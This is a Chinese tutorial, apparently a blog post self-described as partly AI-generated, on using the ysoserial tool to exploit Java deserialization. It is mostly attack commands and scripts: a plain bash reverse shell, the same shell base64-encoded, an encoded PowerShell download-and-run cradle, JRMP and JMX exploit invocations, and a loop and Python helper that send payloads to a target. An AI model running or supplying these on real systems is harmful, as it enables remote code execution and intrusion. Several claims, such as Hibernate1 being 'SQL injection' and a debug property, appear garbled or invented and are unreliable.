ysoserial命令行工具详解:参数组合与高级功能演示

ysoserial命令行工具详解:参数组合与高级功能演示

【免费下载链接】ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. 【免费下载链接】ysoserial 项目地址: https://gitcode.com/gh_mirrors/ys/ysoserial

引言:Java反序列化检测的专业工具

你是否在面对Java反序列化场景时,因缺乏高效的Payload生成工具而束手无策?是否在尝试不同的Gadget链时,因参数组合不当而导致测试失败?本文将全面解析ysoserial命令行工具的参数体系、高级功能及实战技巧,帮助安全从业者快速掌握这一Java反序列化检测的必备工具。

读完本文,你将获得:

  • 掌握ysoserial核心参数的组合策略
  • 理解28种Payload类型的适用场景与依赖关系
  • 学会高级检测技巧,如JRMP客户端/服务端交互
  • 了解自动化测试与集成方法

基础参数解析与使用规范

核心命令格式

ysoserial采用极简的命令行接口设计,基础语法结构如下:

java -jar ysoserial.jar [PayloadType] '[Command]'

参数说明

  • PayloadType:指定Gadget链类型(如CommonsCollections1)
  • Command:待执行的系统命令(需用单引号包裹特殊字符)

必选参数组合

参数位置描述约束条件示例值
第一个参数Payload类型名称必须从支持列表中选择CommonsCollections1
第二个参数命令字符串特殊字符需单引号包裹'calc.exe' 或 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'

基础使用示例

生成并查看Payload二进制数据:

java -jar ysoserial.jar CommonsCollections1 'calc.exe' | xxd

直接发送Payload到目标服务:

java -jar ysoserial.jar Groovy1 'curl http://example.com/test' > payload.bin
nc target 1099 < payload.bin

28种Payload类型全解析

Payload分类与特性矩阵

ysoserial支持的Payload类型可按检测原理分为五大类,各类Payload的特性对比见表1:

mermaid

表1:主要Payload类型对比

类别Payload示例依赖版本命令执行方式检测难度
Commons CollectionsCommonsCollections13.1Runtime.exec
Spring框架Spring14.1.4.RELEASE反射调用
脚本引擎BeanShell1bsh:2.0b5脚本解析
JRE原生Jdk7u21JRE <=1.7u21类构造器
数据库组件Hibernate1未知SQL注入

关键Payload深度分析

1. CommonsCollections系列

CommonsCollections1-7构成了ysoserial中最完整的Gadget链条,支持不同版本的Apache Commons Collections库:

// CommonsCollections1核心实现片段
public class CommonsCollections1 implements ObjectPayload<Object> {
    public Object getObject(final String command) throws Exception {
        final String[] execArgs = new String[] { command };
        // 创建Transformer链
        final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{ new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", 
                    new Class[]{String.class, Class[].class}, 
                    new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", 
                    new Class[]{Object.class, Object[].class}, 
                    new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", 
                    new Class[]{String.class}, 
                    execArgs)
            });
        // ... 省略后续实现
    }
}

使用建议:优先尝试CC1、CC3和CC7,覆盖绝大多数Commons Collections版本。

2. URLDNS:无回显探测神器

URLDNS是唯一不需要命令执行权限的Payload,通过DNS查询验证反序列化场景存在:

java -jar ysoserial.jar URLDNS 'http://dnslog.cn/xxxx' > dns_payload.bin

工作原理

  1. 生成包含特制URL的HashMap对象
  2. 目标反序列化时触发DNS解析
  3. 通过DNS日志平台查看解析记录验证场景

高级功能与实战技巧

JRMP客户端/服务端交互

JRMP(Java Remote Method Protocol)相关Payload支持高级网络交互,实现跨网络的检测场景:

mermaid

操作命令

# 测试机启动JRMP服务端
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1090 CommonsCollections1 'calc.exe'

# 生成JRMP客户端Payload并发送
java -jar ysoserial.jar JRMPClient '192.168.1.100:1090' | nc target 1099

利用MBean进行JMX远程调用

JMXInvokeMBean工具支持通过JMX接口执行命令,适用于开放了JMX服务的目标:

java -cp ysoserial.jar ysoserial.exploit.JMXInvokeMBean target 9999 CommonsCollections1 'calc.exe'

参数解析

  • 目标地址:target
  • JMX端口:9999
  • Payload类型:CommonsCollections1
  • 命令:calc.exe

自动化测试与集成方法

批量Payload测试脚本

以下Bash脚本可自动化测试多种Payload类型:

#!/bin/bash
PAYLOADS=(
"CommonsCollections1"
"CommonsCollections2"
"CommonsCollections3"
"CommonsCollections4"
"CommonsCollections5"
"CommonsCollections6"
"CommonsCollections7"
"Groovy1"
"Spring1"
"URLDNS"
)

TARGET=10.0.0.1
PORT=1099
COMMAND='wget http://example.com/test -O /tmp/test.sh'

for payload in "${PAYLOADS[@]}"; do
    echo "Testing $payload..."
    java -jar ysoserial.jar $payload "$COMMAND" | nc $TARGET $PORT
    sleep 2
done

集成到漏洞扫描框架

通过标准输入输出,可将ysoserial集成到自定义安全检测框架:

import subprocess
import socket

def generate_payload(payload_type, command):
    p = subprocess.Popen(
        ['java', '-jar', 'ysoserial.jar', payload_type, command],
        stdout=subprocess.PIPE,
        stderr=subprocess.DEVNULL
    )
    return p.stdout.read()

def send_payload(target, port, payload):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target, port))
    s.sendall(payload)
    s.close()

# 使用示例
payload = generate_payload("CommonsCollections1", "calc.exe")
send_payload("10.0.0.1", 1099, payload)

高级参数组合与调试技巧

命令编码与特殊字符处理

当命令包含特殊字符时,需采用适当的编码方式:

  1. Bash特殊字符处理:
java -jar ysoserial.jar CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}'
  1. PowerShell命令编码:
java -jar ysoserial.jar CommonsCollections2 'powershell -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxMC4wLjAuMS8AcwBoAGUAbABsAC4AZQB4AGUAIgApACkA'

调试模式启用

修改GeneratePayload.java添加调试输出:

// 在main方法中添加
System.setProperty("ysoserial.debug", "true");

重新编译后可查看Payload生成过程的详细调试信息:

mvn clean package -DskipTests
java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 'calc.exe'

常见问题解决方案

依赖冲突问题

当目标环境存在多个版本库时,可尝试指定特定版本的Payload:

# 使用CommonsCollections4(适用于4.x版本)
java -jar ysoserial.jar CommonsCollections4 'id'

大文件Payload传输

通过base64编码解决二进制Payload传输问题:

# 生成并编码Payload
java -jar ysoserial.jar CommonsCollections1 'reverse_shell' | base64 -w 0 > payload.b64

# 目标端解码执行
base64 -d payload.b64 | nc target 1099

绕过Java安全管理器

使用低权限Payload如URLDNS或结合反射技术:

java -jar ysoserial.jar URLDNS 'http://dnslog.cn/test'

总结与展望

ysoserial作为Java反序列化检测的事实标准工具,其强大的Payload生成能力和丰富的Gadget链使其成为安全测试人员的必备工具。本文详细介绍了基础参数使用、Payload类型选择、高级功能应用及实战技巧,覆盖了从入门到高级的各个层面。

随着Java安全机制的不断强化,未来ysoserial可能会增加更多针对新场景的Payload类型,并提供更精细的参数控制能力。建议安全从业者持续关注项目更新,并结合实际场景灵活运用各种参数组合与高级功能。

掌握ysoserial不仅是提升检测效率的关键,更是深入理解Java安全机制的有效途径。通过本文学习,希望读者能够真正做到"知其然,知其所以然",在安全测试工作中灵活运用这一强大工具。

【免费下载链接】ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. 【免费下载链接】ysoserial 项目地址: https://gitcode.com/gh_mirrors/ys/ysoserial

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值